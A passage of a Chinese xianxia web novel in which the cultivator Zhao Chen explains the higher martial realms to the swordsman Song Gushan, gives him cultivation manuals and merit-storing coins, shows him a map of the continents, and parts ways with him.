赵尘不动声色的继续说道:“所谓天人三千大限又称为天人三千寿,是指天地之间,凡众有情生灵,无论人类、走兽、飞鸟、水族、虫蚧、鳞甲,乃至阴灵、诡怪,甚至是通灵的草木,凡未成就仙道者,皆不可活过三千岁。” “可蛮兽只要在三千岁以前,智慧、灵性只要跌落到寻常草木,或甚至还不如的程度,便不属于有情生灵之属,便可以活过三千岁。而凡是活过三千岁的蛮兽,便有一个另外的称呼:荒兽。” “那种荒兽,智慧、灵性基本上跌无可跌了,平时待在一个地方,像普通草木甚至土石一样,基本让人察觉不到,可一旦动了起来,那巨大的体型,至少天仙,甚至玄仙,乃至金仙级的力量,万一遇到了,对未成仙的人来说,和天崩地裂差不多。” “好了,话又说回来,一只猛兽级的老虎,其实力少说,甚至可以和武道宗师对上两招,并有可能逃出升天。所以宋大哥的爷爷,可以斩杀一头猛虎,即便是占了刀的便宜,但也用了激发潜力,消耗寿命的禁招,加上本来就一百一十多岁了,先天武者不过寿一百二十罢了,所以……” “呃……” “啪……哗啦……” “砰……” “说的对……”宋孤山将酒坛对着嘴倒了倒,又随手将酒坛扔在地上,身体一踉跄,趴在桌子上,抬着头,摇着脑袋,晃着手指,往前虚点:“之前说到……刀?对,呃……就是刀。我二十岁时先天一重,就背着刀离开了山。” “宋大哥果然天赋异禀啊……” “嘿嘿……厉害吧!嘘……不要告诉别人。呃……之前说刀呢,别打岔!” “这刀太凶,便是用瑞彩精金重新炼制了一番,但还是显得有些凶煞。所以我要身上戴着块玉珏,用来镇压煞气,爷爷说的。一块上品好玉,制成的玉珏,也就能用个三两个月,后来,我……我委托聚宝斋帮忙重新……重新处理了下。看,就是这,镶了枚鲛珠。” “鲛珠?”周嗣好奇道。 “对,就是鲛珠,是……不是蛟龙的蛟,是……” 看着醉成这样的宋山,周嗣决定还是不为难他了,善解人意的接口道:“是鲛人望月泣珠的鲛人。” “鲛人?鲛人……对!就是鲛人的鲛。你知道鲛人吗?就是那个……那个……” 话还没说完,宋山便彻底醉倒在桌子上了。 看着这醉的不省人事的宋孤山,赵尘喊了好几声,都不见回应,见其便是醉倒,手依然搭在刀上的宋孤山,赵尘便没有将之送回房间。 第六十七章 求法 第二天上午。 宋孤山一脸歉意的开口道:“昨天喝多了,不知可有失礼之处,若是有的话,还望海涵。” 赵尘连道不敢,说没有失礼之处,并对没有将宋孤山送回房间的事情表示道歉。 双方一番客套之后,赵尘看见宋孤山一副欲言又止的表情,随即问道:“宋大哥,可是小弟有什么不当之处?” 宋孤山闻言,连忙连连摇头。 “既不是如此,那可是……” 赵尘又是一番询问,最后说道:“那可是宋大哥遇到了什么为难之事,宋大哥尽管开口,只要小弟能做到的,绝无二话。” 一番挣扎之后,宋孤山最后终于下定了决心,随即向赵尘说明了原因。 “唉……”宋孤山深深的叹了口气,低着头缓缓擦拭着手中的金刀:“实在让赵兄弟见笑了。我十一岁开始习武,用爷爷留下的药膏和药丸强健筋骨、壮大气血,打着基础。十五岁时正式进阶后天一层。” “此后以一年两层的速度稳步提升着,二十岁进阶后天十一层、后天十二层。再花上一年时间巩固了一番基础,水到渠成般的在二十二岁突破到先天一重天。随后离开家门,不到十年时间,便已经先天八重天圆满。” “可是从先天圆满到武道宗师,我不知道要一年、两年,还是三年、五年,甚至是十年、二十年。先天武者寿一百二十,三十来岁不过是一个青年人罢了,还有八十多年的时间可以努力。但……” 原来宋孤山所修炼的功法便是来源于其爷爷,便是其当年从军中获得的·法门,最多只能修炼到真意境,后来宋孤山外出历练,一般的先天武技还好说,而根本功法,却是珍贵许多,虽也有收获,但大多多是残本。 宋孤山靠着这些,对自己的功法修修补补,居然近乎一路顺利的修炼到了先天八重天。但也到此为止了,至于宗师境界,便说功法了,便是一招半式的宗师武技,甚至是武道宗师的大致信息,宋孤山都没有打听到。所以之后的·武道之路应该怎么走,宋孤山是一点头绪都没有。 昨天和赵尘闲聊,加上这些日子的经历,宋孤山发现赵尘出身不凡,知识渊博。说到这里,宋孤山忽然推金山倒玉柱的对赵尘恭敬一拜:“赵兄弟见多识广,谈吐不凡……我不敢贪求太多,只求赵兄弟能为我指点一番关于宗师境界的大致情况。” 宋孤山这一拜虽然突然但却不快,赵尘完全能够反应过来,当然了,只要赵尘愿意,无论宋孤山拜的再突然再快,赵尘都能阻止或者避开。 但正如宋孤山所说,这些天相处下来,赵尘对宋孤山也有了一个大概的了解,再加上对其气运等的观察,对赵尘来说,传其武道宗师级的法门,也不怕所托非人。 所以赵尘并没有阻止或者避开,而是受了一礼之后才将宋孤山扶起。当然了,这也和赵尘好为人师的性格相关。 “宋大哥这是说哪里话,我与宋大哥相谈甚欢,相见恨晚,这有什么不好说的,既然宋大哥感兴趣,那就听小弟我唠叨几句。” 说话间,赵尘便拉着宋孤山在甲板处坐下,也不知是不是和首座长老等人学来的习惯,挥袖间,变出了一套桌椅茶水。当然了,这和首座等人挥袖间空间变幻的手段不同,这只是将物件快速从衣袖中的储物空间中取出,用神念法力将之迅速放好罢了。 赵尘这一番日常奇异手段,看的宋孤山和周嗣两人双眼放光。宋孤山看的分明,这不是玩手速和技巧的江湖杂耍,而是真正的奇异术法。 听见宋孤山和赵尘的对话的周嗣,对其也十分感兴趣。对周嗣或者周府来说,先天八重天的武者其虽然没见过,但也没什么可惊异的,但宗师武者,却是只听说过几个名字罢了。 见周嗣的表情,赵尘将之也招了过来之后,便开始介绍起宗师武者。 “武道宗师,论寿命,寿两百栽,一般的王朝,也不过两三百年的天命罢了。论实力地位,一位武道宗师,在一州之地,那也是最顶尖的人物之一。若是想要权利,或者光耀门楣,周生应该知道……” 说道这里,赵尘看了一眼周嗣,继续道:“一位武道宗师只要愿意投靠皇朝,一个世袭的县伯爵位是少不了的,如今的窦氏皇茶立国才不到两百年,至少还有四百年左右的天命。换句话说,只要一位武道宗师愿意投靠窦氏皇朝,运气不差的话,至少可以为自己和家族获得至少四百年的富贵。” 说完了武道宗师的尊贵,赵尘便说起了突破武道宗师的过程。 要成为武道宗师,首先要有宗师级的武道意志。这是以先天四重天的时诞生的独属于自己的武道真意为萌芽,经历不断打磨锤炼诞生的。这是成为武道宗师的先决条件。 “这一点,宋大哥你的积累已经够了,但要将底蕴变现,除了用时间磨的话,则必须寻找一部修炼意志的法门。” 宋孤山闻言,并没有觉得沮丧,反而对自己有相关的底蕴积累表示惊喜。赵尘见宋孤山的表情,心中暗自点头,继续介绍道。 有了宗师级武道意志之后,还要将先天级的真气转化成准宗师级真气。这要将先天级真气、虚乾坤之力和武道意志三者锤炼到一起,这个锤炼过程,要是没有法门蛮干的话,效率低到令人发指。 在这个过程中,武者也要不断升华自己所掌握的武道真意,之后再用准宗师级的真气和和宗师级的武道意志以及升华后的武道真意重构丹田中的整个虚幻小世界。 之后再以重构后的虚幻小世界为炉,以先天真种为主药,武道意志为火,准宗师级的真气为水,加入种种真意、新诞生的虚乾坤之力等其它种种“大药”,将先天真种炼制成武道金丹。 以武道金丹为核心,将体内的准宗师级的真气转化成真正的宗师级武道真气,最后在以宗师级的武道真气对血肉、筋骨、经脉等进行洗炼。整个过程完成之后,才能称自己宗师级武者。 第六十八章 武道宗师 听完了赵尘讲述的,从先天武者突破到武道宗师的过程,宋孤山只觉大有收获。虽然依旧不知道具体怎么走,但至少已经看得见前路了。随即对赵尘连连感谢。 赵尘见此,继续说道:“这第一步,养出宗师级的武道意志,若是靠时间硬磨,那有一点必须要做到,那就是对自身体系的梳理,使自己足以开宗立派。这便是武道宗师这个境界的由来。一般拥有修炼意志法门的人,其多是两步并举,以夯实基础,节省时间。i” “若是说这一步还可以用时间磨,但剩下的凝炼准宗师级真气、重构丹田虚幻小世界,‘丹方’、‘炼丹的方法’、对周身的洗炼等,那只有拥有相应的功法才能修成。” “而且,从重构虚幻小世界开始,到正式进阶宗师境界,最多只有几十天时间。要不然,在重构后的虚幻小世界的压迫下,若不能及时进阶宗师,肉身必然承受不住,之后或是直接肉身崩溃而死,或是主动崩毁虚幻小世界。” “便是选择主动崩毁虚幻小世界,也只有三个可能,或是扛不住反噬,直接死去,或是境界退转,身受重伤,根基损毁,永无再一步的可能。便是最轻,那也是身受重伤,少则修养十几年,多则几十年也有可能。” 宋孤山闻言,却没有一点沮丧,反而表示:只要知道了方向,那就一定有成功的一天,那些宗师级的功法,不也是人创造出来的吗? 对于宋孤山昂扬的精神,不但赵尘十分赞赏,便是周嗣,也十分钦佩。 突然,周嗣好奇的问道:“老师,那半步宗师又是怎么回事呢?” “半步宗师,顾名思义,便是处于先天八重天和武道宗师之间。最次等的,便是连宗师级的武道意志还没有诞生,只是依靠秘法或其它原因,将真气和虚乾坤之力熔炼到了一起。而最上等的半步宗师,便是处于突破武道宗师这个过程中,在重构虚幻小世界之前的层次。” “原来如此,多谢赵兄弟指点。” 还不待周嗣开口,感觉大有收获的宋孤山便开口感谢道。 在赵尘又详细描述了一番和武道宗师相关的细节之后,周嗣又突然问道:“老师,武道宗师我大概明白了。想来宋大侠应该也差不多,不知您是否可以和我说一下大宗师相关的情况?” “大宗师,那可是武道宗师之后的境界?”闻言,宋孤山也不禁脱口而出。 “宋大哥猜的没错。”赵尘肯定的点了点头,随即又看了周嗣一眼:“周生你既然好奇,正巧,宋大哥也在这里,今儿便和你说一说武道大宗师……” 这从武道宗师突破到武道大宗师,这不仅仅是对根基、功法、根骨、悟性等的考量,还有其它要求。在武道宗师走到尽头之后,想要突破到大宗师,首先要做几件事。 第一件事情是为了积累气运,第二件事是为了积攒功德,第三件事是为了开辟和印证自己的宗师之路,以证大宗师之名,对此一般人多是选择组建势力,要行善积德、广结善缘、泽被苍生,还要开宗立派,广传武道。 突破大宗师所需要的气运、功德自然有一个定数,至于开辟和印证自己的宗师之路,则需要整理、归纳出了一条枝繁叶茂的完整的从普通人到武道宗师巅峰的体系道路,并使其广为传播, 要知道,武道宗师和武道大宗师已经不仅仅是一个境界的名称了。所谓宗师,更是对其武道方面的一种肯定,至于大宗师,那更是一种果位了, “对了,宋大哥知道什么是果位吧?” “大致还是有点了解的。” 赵尘闻言,将果位进行了了一番大概的说明,最后举例道:“像神位,便是一种神道果位,就好像村土地神的神位一样。” “等这些先决条件都有了之后,之后便是升华意志、汇聚大势,凝炼准真元、重构虚幻小世界,升级武道金丹,重新洗炼身体等,这和突破武道宗师差不多,只是更加繁杂。其和先天武者突破武道宗师之间的差距,就好像开脉境和后天境界之间的差别。” “在进阶成功后,还要反身将自己的武道补全,使其成为一条从普通人到大宗师的完整道路。至于别人没法沿着这条道路攀登到武道大宗师境界,这却是没关系的。” 诉后,赵尘又说起了大宗师境界的修行和其中的小境界划分。 大宗师境界修行的第一步叫做凝元,所谓凝元,便是将体内的真气凝聚成真元。整整一丹田的宗师级真气,可以凝聚一滴真元。这真元和真气的关系,不是简简单单的真气液化。若是按照赵尘前前世的东西比喻。说是将一堆积木搭建成一座复杂侧城堡,那太简陋了一点,可若是说用一堆原子等搭建一个有生命,有文明,正在运转的星河,那又太夸张了一点。 并且,因为根基、功法、境界等原因,真元的,质量上也是千差万别,有的重若水银,稠似浓胶,而有的却轻、稀若浓密的水汽。 一般情况下,武道宗师巅峰,用法门最多可以凝聚出来的准真元,大概只有两三百滴。正如天天和宗师之间有一个半步宗师一样,宗师和大宗师之间也有一个半步大宗师。便是半步大宗师,所凝聚的真元也不会超过三百六十之数。” 待体内真元的总量是十二万九千六百滴时,便是凝元巅峰,同样是凝元巅峰,真元数量相等,但质量也很有可能千差万别。 凝元之后,第二步叫做洗身,也就是用体内的真元不断洗炼肉身,将肉体凡胎的身体逐渐细细洗炼、打磨、雕琢成相应的武道圣体,由人而逐渐非人。 凝聚武体的过程,可以说先天二重天是最开始,之后分别是由先天入宗师,由宗师入大宗师,直到洗身境界武体正式凝聚。 第六十九章 大宗师和传法 最后是第三步,第三步称为法相。这一步先将武道意志和武道气势凝聚起来,观想其化作一尊法相元胎。这一步最迟最迟,在成为大宗师时便要开始,在完成第二步后,法相元胎水到渠成的变成法相。法相的修炼便是不断观想法相,使法相从模糊到清晰。 以上这三步都属于大宗师境界,大宗师境界寿元三百。之后便是显圣境,所谓显圣,便是人前显圣的意思,而所显的‘圣’就是指法相。显圣境法相九次变化,是真正超凡入圣的过程,被称为显圣九重天。 每一重天延寿三百年,所以显圣九重天的武者,寿元三千年。 其中前三重天又被称为真元变,其中显圣一重天的法相便从纯虚拟的精神法相变成有一丝真元属性的精神法相。而显圣第二重天便是半精神、半真元的法相。显圣第三重天便是纯真元的法相了。 中三重天又被称为血肉变,同理,显圣第四重的法相便是有一丝血肉属性的真元法相,而显圣第六重天的法相便是真实的血肉之躯了。 至于后三重天,则被称之为神魔变,法相则愈发的神威无量,如神似魔。 待显圣九重天之后,便是神魔境,而要突破神魔境,便是要将肉身和法相真正合而为一,化作神魔之体。若是说显圣境的时候,法相只是武者的一个工具或者器官,就好像手一样。自己蜕变出来的武道圣体才是真正的肉身。而神魔境时,便是法相和肉身化作一体,真正成为自己的身体。 所谓成就神魔境,便是和我等修士成仙差不多,所谓神魔之体,相对于仙体,更接近于远古前的先天神圣之体。所以成就神魔境,不但在修为上有要就,更重要的是功德。从显圣九重天到神魔境的功德差不多是突破到武道大宗师境界的三千倍。 “当然了,因为我不是武道修炼者,所以知道的有限,更具体的东西宋大哥你只能自己去寻找或者体悟了。” 听了赵尘这番话,宋孤山终于对前路有了一个完整的认识,从先天到武道宗师,再从武道宗师到武道大宗师,之后凝元、洗身、法相,再之后显圣九重天,最后更是在心中想到,若是真正体会一番神魔境是个设么样子才是不枉此生。 听到赵尘的话,东孤山连忙开口道:“赵兄弟今日所说,便好像一道阳光,照亮了我前路的迷雾。”说罢,起身深深一拜。 赵尘受了这一拜之后,起身扶住宋山:“宋大哥这一礼,小弟愧受了。”说着,和宋山重新坐下,想了想,对宋山道:“既然受了宋大哥这·一礼,我却不能没有表示。” “赵兄弟,我绝对没有这个意思……” 听见赵尘的话,宋孤山立刻急切的开口道,但却被赵尘拦了下来。从袖中掏出大卷的纸张和一些墨锭,招来一团清水,将之化作一团墨汁。不一会儿,一部几乎为宋孤山量身定制的宗师级武道功法新鲜出炉了。 在这个过程中,赵尘看着宋孤山头顶的气运,心中也不知在想些什么。 宋孤山头顶的气运命格共分成三层,最核心的是命格,像一把红玉雕琢的小刀,略显虚幻。这也是武者不如修士的原因,要是正仙道的修士,命格早就溃散掉了,虽不受命格的提携,却也不受命格的影响。 可作为武者,先天期时命格才开始有一点虚幻,待成为武道宗师时,命格才会完全虚幻,直到成为武道大宗师时,命格才会完全溃散,或者换句话说,只有将虚幻的命格给崩碎掉,才可以成为武道大宗师。 在那把红玉小刀之外,裹着一层微微泛粉的白色云气,这是宋山先天武者实力的说明,在那层白色的云气之外,则是一大团白、红、黄、青各色混在的云团,这便是宋山所有的外在气运了。 在本运和外运之间,还有一丝丝朦胧暗淡、虚幻透明的金光。气运之外,虽有些煞气,却没有罪孽。 心中暗自想了想,最终下定决心,在第一本书成型之后,赵尘毫不停歇的又制起了第二本书。 赵尘先是将第一本书递给了宋孤山:“宋大哥,勿要推辞,这是一本宗师级的功法,可以一直修炼到宗师巅峰。” 不等宋孤山开口,赵尘又将第二本书递了过去:“这本书上半部分是一门名为《凝元术》的法门,上面记载的是一种凝聚准真元的法门。下半部分是一套突破大宗师的方法,虽没有什么特色,但胜在中证平和,且无论是法门本身,还是法门修炼出的成果,都有相当强的可塑性。” 宋孤山见此,心中激动不已,不禁感叹道:“赵兄弟,能遇见你。怕是我今生最大的机遇,若是错过了这次,我这一生最多也就是个武道宗师罢了。甚至很可能连半步宗师都不一定能成。” “宋大哥客气了,宗师境界没什么好说的,但突破大宗师,所需要的功德气运,其虽是一个定数,但一般情况下还真不好把握,我还是帮人帮到底吧。” 说着,赵尘从袖中摸出两枚水晶铜钱,将之递给宋孤山。 在宋孤山接过后,其中一枚水晶钱币好像被滴入了牛奶一样,迅速变成白色,在完全便白后,好似白玉一般的钱币上又浮现出斑斑点点的淡红色斑点,而另一枚水晶钱币中,在宋山接过的一瞬间,里面划过一缕微弱的金光,随后金光便消失不见。 宋孤山双手接过钱币,仔细看了看:“赵兄弟,这是什么?” 这种无色透明水晶钱币也是赵尘从宗内领取的,专门用来存储气运、功德之类的东西的小道具。 使用这种水晶钱币,可以将平时多余的气运和功德储存起来,待要使用时,只要将钱币捏碎了便可,到时候,钱币中储存的气运或功德便会附着在将钱币捏碎的人身上,所以这种被钱币储存的气运、功德是可以交易的。 第七十章 人间功满 而且,这种存满了气运或功德的钱币不但可以交易,还有着其它用处,。 之前在沂州赵尘给周嗣的那枚用来镇压气运的黄金铜钱便是赵尘用一枚存满功德的钱币炼制而成。而这种存满功德的水晶钱币是之前明尘和楼船一起送给他的,一共只有十几枚。 一枚存满气运的钱币,色泽青翠剔透,大约等于一州之地,一年时间的全部气运。而一枚存满功德的钱币,通体金光璀璨,所含功德的数量被称为为一大功。这天地之间一切生灵,凡欲成就天仙、神圣者,必须积攒三千大功。 所谓的人间功满,奉诏飞升,说的就是修行之士,修行有成之后,在人间行走,积攒满了三千大功。之后由天庭或者仙庭降下诏书,以这三千大功为凭,引动昊天元海,用来做以元炁洗炼精气神,完成生命的跃迁,以元炁偿还累世积下的因果等种种事情,最终完成人和仙的蜕变。 其中鬼仙一道的仙诏要求鬼仙自己去地府领取。若是天资、福源皆上上者,自有冥府派人在地府发放诏书,剩余的鬼仙一脉的修行者,其诏书便只能在地府中,和神职一起领取了。 当然了,这三千大功你也可以找别人帮你先垫付一部分,先欠着,剩下的以后再慢慢还。 比如说七大天门的弟子,在人间历练时,随便收集一些功德便可以了,剩下的,仙庭会先帮其垫付的,剩下的慢慢还就可以了。哪怕你一点功德也没有积累,全部由仙庭先垫付都可以,只要不怕丢人,就没有问题,当然了,像这样的情况直到如今,却是还从来没有发生过。 至于其他门派的弟子,只要是正仙道修士,其所在部洲的天宫也会会为其先垫付三百大功,若是所在之地没有天宫,可以去旁边有天宫的部洲的天宫垫付,当地的天宫也是一定不会拒绝,也是不可以拒绝的。剩下的大功,若有师门长辈愿意为其垫付功德,最多最多允许再先为其垫付一千大功。至于最后剩下的,至少一千七百大功便只能是由其自己慢慢积攒了。 至于偏仙道练气一脉的修士,这三千大功你只能自己慢慢积攒了,待将这三千大功积攒完了,也自会有其所在位置的天宫降下仙诏。 若是偏仙道神魂一脉,因为最多只能修炼到第四阶驻世散仙境界,压根没有成仙的需求,只需攒下八百大功,当地地府自有神位为其留下,只要其愿意。若是能攒下三千大功,那自然会有仙庭或冥府降下诏书,使其奉诏飞升。 至于用水晶钱交易,也非常困难。这种水晶钱只有七大天门的弟子有,而且像赵尘这种未成仙的弟子,一年只能领一枚,或气运钱,或功德钱。比如赵尘,像这种水晶钱币包括给宋孤山的两枚,也只有十枚,其中功德钱五枚,气运钱五枚。可想而知,这种钱的存世量和流通量有多稀少了。 当然了,印功德赵尘还不敢,所以明尘给的那十几枚功德钱对赵尘来说比较珍贵,但作为材料的 所以,偏仙道修士若是能够依靠攒功德钱将三千大功收集满,那说明他几乎认识了七大天门整整一辈的,所有能成仙或已经成仙的弟子,并且和他们关系还不错。 当然了,对方如果真有这种气运、福源和能力,那要是不成仙都天理难容了。可话又说回来,真有这样的人物,也很大可能早就在发迹之前便被七大天门收入囊中了,根本不会流落出来,修炼偏仙道。 所以,偏仙道神魂一脉的修士,很少有人能够奉诏飞升,绝大多数不是谋求神职便是转世重修。 至于偏仙道练气一脉的修士,他们本来气运就低,虽传说他们每时每刻都要小心翼翼,随时随地都要准备好挨雷劈的有些夸张。但气运低糜却是真的,这也是他们不愿在红尘厮混的主要原因。 气运都不够,更何况功德了。所以偏仙道练气一脉的修士能够在修士时期凑足三千大功,奉诏飞升的更是比凤毛麟角更凤毛麟角还要稀奇的多。 但因为偏仙道练气一脉的修士因为是通过练“气”,在“气”上不断蜕变的,所以可以取一个巧。 偏仙道练气一脉的修士,人间修行的最后一步被称为大乘期,而大乘期的修士可以通过用“以身合道”这种法门作为原理,以身化气,和元炁海遥遥感应,用身合元炁海的方式,悄悄潜入进没有仙庭镇压的昊天元海。通过昊天元海中无量的元炁的冲刷,使自己取巧成仙,待成仙之后,再慢慢积攒功德,还清因果,谋求神位、神职。 这种成仙的方式,因为不需要仙诏,绕过了天宫地府、仙庭冥府,看去起来甚至更加自由,但也不是没有风险的。 大致解释呢两种钱币的用处之后,赵尘依次指着白色的钱币和无色透明水晶钱币道:“只要宋大哥手中这枚钱币通体变成青翠欲滴,不含一丝杂色,这说明成就大宗师的气运满足了。而这枚钱币通体金光璀璨,不含一丝杂色,则是功德足够了。” 闻言,宋孤山小心翼翼的将两枚钱币收好。 “宋大哥,关于修行法门,我只能帮你到这里了,至于大宗师境界的具体法门,却是要靠宋大哥自己了。” “我岂是这种不知好歹的人。再说了,赵兄弟都帮我到这里了,大宗师乃至显圣境界,我一定要去看一看的。” 看着眼前自信昂扬的宋孤山,赵尘忽然想起了殷文镇。开口道:“宋大哥,这修行,功法,财货都少不了,但是和同道之间的相互交流和扶持也是万万不可少的。但这玄冥部洲,武道宗师虽然罕见,整片大陆至少还是能找到数千人的,但大宗师……” 说到这里,赵尘不禁摇了摇头。说话间,赵尘又从袖中抽出一张手帕大小的素布,将之铺展在宋孤山眼前。 第七十一章 地图 宋孤山低头看去,整张白布上只有寥寥一些线条,绝大部分线条组成了二十四个大小不一,奇形怪状不规则的圈,看起来好像是一张地图。 “如今宋大哥还能轻易找到同行者交流,便是成为武道宗师,找到同行者也是不难,可等到宋大哥成为大宗师后,整片大陆现在大宗师应该是有的,但宋大哥能不能找到,怕是很难。”说着,赵尘指着白布上最上面中间那个圈,对宋山说道:“宋大哥,你看,这就是我们所在的大陆,玄冥部洲。” 说着赵尘指了指玄冥部洲那个圈中的两条线条,随后又往圈中间的一个位置点了点:“宋大哥,这两条线分别就是玄水和冥仑山,而我们现在大概就在这个位置。” 说着,赵尘的手指向右上方移动,指着圈的最右边,也就是玄冥部洲的最东边:“这是玄冥部洲的最东边了,在这里,有一个巨大的州城级的港口城市,被称为极东港。” 随后,赵尘的手指微微向右移了一点,指着这个几乎和玄冥部洲紧挨着的圈:“宋大哥,这一片大陆叫做变玄部洲。”说着又指了指从极东港往东到变玄部洲的那一点微微距离:“从这极东港到变玄部洲大概有三十五万里左右。” 说完,不待宋孤山开口,赵尘手指下移,指了指变玄部洲下面那个部洲,那个部洲单从地图上看,面积是玄冥部洲的六倍左右,随后指了指变玄部洲和那个圈之间的那一条“海峡”:“变玄部洲之南,便是钧天部洲,钧天部洲和变玄部洲之间的那条‘海峡’,姑且说是海峡吧,最窄处相距七十万里左右,最宽处足有一百四十万里。” “当然了,宋大哥你也可以直接南下,出海去玄钧部洲,再从玄钧部洲去钧天部洲……”接着赵尘又在地图上比划了另一条路线。 “钧天部洲不但是钧天境唯一的部洲,还是天下最大的部洲。单论面积,钧天部洲足足占了钧天境四分之一的面积和玄天境十六分之三的面积,以及变天境近四分之一的面积,还有苍天境近六分之一的面积。天下二十四部洲,单这钧天部洲便占了人间近一成的面积。” “这钧天部洲,在这天下之中,又有钧洲、中洲、中土之称。如此大的面积,再加上因为一些原因,钧天部洲要比玄冥部洲要……热闹,对,要热闹许多,所以在钧天部洲上,大宗师及以上的武者,便要常见很多了。” “因此,等宋大哥突破到武道大宗师境界之后,可以考录去钧天部洲游历一番。只是从玄冥部洲到钧天部洲,先不说中间的变玄部洲有多大,单是那要度过的一百多万里的海域,便不是十年八年可以往返一趟的。所以希望宋大哥在决定去钧天部洲游历前考虑清楚。” 随即,赵尘示意宋山将地图收起来:“先前,我曾经在玄水上遇到了一位武道世家出身的少年,年不过二十,便已经是一位先天六重天的武者了,其家中代代皆有武道宗师,还不止一个,便是武道大宗师,也很可能出过。这位少年便在家中的安排下前往中洲历练。” “其家中为其安排的历练路线,需历时百年,行程数千万里……” 随即赵尘将殷文镇的事情简单的说了一下。听的宋孤山惊叹连连,便是周嗣也不例外。 宋孤山万分感激的的向赵尘道谢之后,小心翼翼的将地图等物件收好, …… 阳春三月,真是草长莺飞的时节,一艘楼船正在济江的支流,晴川中缓缓行驶着。船上,赵尘三人在醉人心脾的暖阳中闲聊着。 宋孤山靠在船舷上,盘坐在地上,手中拿着一块不知名的皮毛,正轻轻擦拭着手中的金刀,那两口箱子正放在其身侧:“赵兄弟、周兄弟,这济南府我虽没有常住,但将那些零碎的时间加在一起,算来也在这济南府待过两三年时光了。” “这济江穿济州而过,整个济州,在济江南岸,一共就济阴、济南两个府。所谓山南水北谓之阳,山北水南谓之阴。无论是济阴还是济南,都是济水之南的意思。其中济阴在西,济南在东,可这同为济水之南,济南府的人口、物产却是济阴府的五倍往上,你们知道为什么吗?” 赵尘笑了笑,没说话。而早已完成梳理元气的周嗣,相熟之后,却是显出几分少年心性,一翻眼睛,痞懒道:“这济州我不过是第一次来,之前路过济阴府,不过是在船上远远看了一番罢了,我怎么知道。” “原因有很多,但最重要的便是济南府比济阴府多了这么一条晴川,这条晴川用其温暖的河水,滋养了济南府的千亿百姓。” “咦?” 赵尘闻言,抬头看了一眼,要不是宋山孤所说,赵尘都还没注意。只见无尽水气从河里蒸腾而起,细细观察之下,相比于济江上蒸腾而起的水气,其中却是多了一抹微不可查的金红色。若是将真条晴川上的水汽提炼出真水,每一年最多只能提炼出大约一万道左右。而这样的真水,每十万道大约可以提炼出一缕金红色物质。 赵尘抬手从水中摄出一点金红色物质送入造化大磨中,经分析,这是一种由太阳金精、地火、信仰香火、气血之焰经时光冲刷、天地造化形成的一种物质,倒是一种制作法器、法宝的极好的材料。 不过,这晴川中金红色武者的数量太感人,便是一位玄仙拥有百万载寿元,想要收集足以制作一件法宝的数量的这种材料,也得绝望。而且,赵尘也怀疑,便是将整条晴川中的这种材料收集起来,也不够制作几件法宝的。当然了,对于赵尘来说,这完全不是问题。 不过也是因为这种物质的原因,所以晴川中的水要比其他地方的水温暖一点。“确实,这里的水要比济江中的水温暖一些。”赵尘点了点头应道。 第七十二章 分别和初到平阳 宋孤山闻言对赵尘解释道:“别看现在晴川不过是济江的一条支流,相传在很久很久以前,晴川古称赤水或者沸水,色泽赤金,宛若流淌的铁水,并且水面沸腾不已,水温极高,便是一棵新鲜的树枝落入水中,水面之下的立刻变成飞灰,水面之上的也会立刻燃烧起来。” “整条赤水自西海起,跨过整片大陆,流经数百万里地域,最终流入东海。后来赤水逐渐枯竭,只留下了很小很小的一段,称之为晴川。再后来济江形成,晴川成为了济江的支流。也不知真假。” 赵尘摇了摇头:“或许是真的吧,不过时间太久远了,和我们也没什么关系了。据我所知,便是这一条济江,至少在这里流淌了四十多万年了,甚至更久,更别说在这之前的赤水呢?” “赵兄弟果然是知识渊博,见识广阔啊。”宋孤山开口赞叹道。 便在这闲聊之中,楼船在离济南府平郡郡城不远处逐渐慢了下来。 最后,赵尘的楼船稳稳的停在平郡的码头上。早已收拾好一切的宋孤山起身对着赵尘和周嗣一抱拳:“赵兄弟、周兄弟,后会有期。” 说罢,不等赵尘和周嗣回答,宋孤山转身拎起两口箱向船下跳去,和当初相遇时差不多的装扮,背背着金刀。腰挎葫芦,一转眼便消失在人群中。 “宋大哥,后会有期。”周嗣对着宋孤山的背影高声喊道。 赵尘看着消失在人群中的宋孤山,轻声道:“愿后会有期,唉……” 叹完气,赵尘便一边伸手掐算着,一边用法力驾着楼船向远处驶去。 听到赵尘的话,周嗣转过头来问道:“老师,我们和宋大侠还有再见之日吗?” 赵尘笑了笑:“这个问题嘛,首先要把你和我区分开,你和我是不一样的。对于我来说,若是其可以成为甚至突破武道大宗师,那还有可能有再见之期的,修为越高,可能性越大。若是宋大哥突破显圣九重天,成为,几乎肯定还有再见之期的。” 说到这儿,赵尘语气中透着浓浓的自信,接着语气低了下来:“至于你,周生,你还是先通过我的考验在说吧!” 说着,拍了拍周嗣肩膀,赵尘转身回到船舱中去了。 回到舱中,周嗣接着问道:“老师,当日我问你我们去哪儿,你说一切随缘,然后便遇上了宋大侠,那便是我们和宋大侠之间的缘法吗?” “确实是如此,所谓缘起则聚,源尽则散。我们和宋大哥相遇,便是一段缘法,正因此,宋大哥他的武道宗师之路才会变得顺畅,也因此,让我注意到了这个。为我添了一件趁手法器。” 说着,赵尘抬起右手,指尖一丝金红缠绕,随即消失。这时,赵尘看见周嗣的神情:“有什么直说好了。” 周嗣略微犹豫了一下,开口道:“老师,当日宋大侠向您求法之前。那一副欲言又止的表情,而后在您的连番追问下,又连连推脱,最后才说希望您指点一番……” “怎么了?” “这好像和宋大侠的性子不怎么符合,我怀疑……” “你怀疑宋大哥是在故作此态,引我上钩。” 看着周嗣的表情,赵尘笑了笑,和周嗣分别落座:“周生,我且问你,这段时间相处下来,你觉得宋大侠是个什么样的人。” “宋大侠他……” 待周嗣回答完,赵尘继续问道:“那我传宋大侠法门,你觉得这是处于我的本心吗?” “这自是老师慈悲。” 听着周嗣的这句马屁,赵尘好笑的摇了摇头,然后郑重道:“宋大侠为人不坏,我传他法门,至少目前不用担心所托非人,这是其一。” “第二,我传宋大侠法门,这是出于我的真心,这一点毫无疑问。第三。宋大侠在武道上的向道之心也算坚定,我传他法门,他也不会对此不珍惜,轻慢它。” “既然如此,宋大侠向我求法,我在顺应本心之下,将相应的·1法门传授给他,这有何不可?虽然宋大侠在向我求法的过程中,可能用了点手段,但至少心是真的,意是诚的,这就够了。” “周生,我辈修行之人,要严于律几,但虽不要你以德报怨,可宽以待人这一点还是要做到的。周生,我辈修道之人,有一点你要记住,仙道的核心便是‘仙道贵生,无量渡人’虽然对这一点不同的人有不同的理解。” “多谢老师教诲。”周嗣闻言,连忙躬身一礼,一脸郑重的说道。 …… 和宋孤山分别月余之后,济州,济南府,平郡,平阳县的县城之外,远远驶来一辆马车。 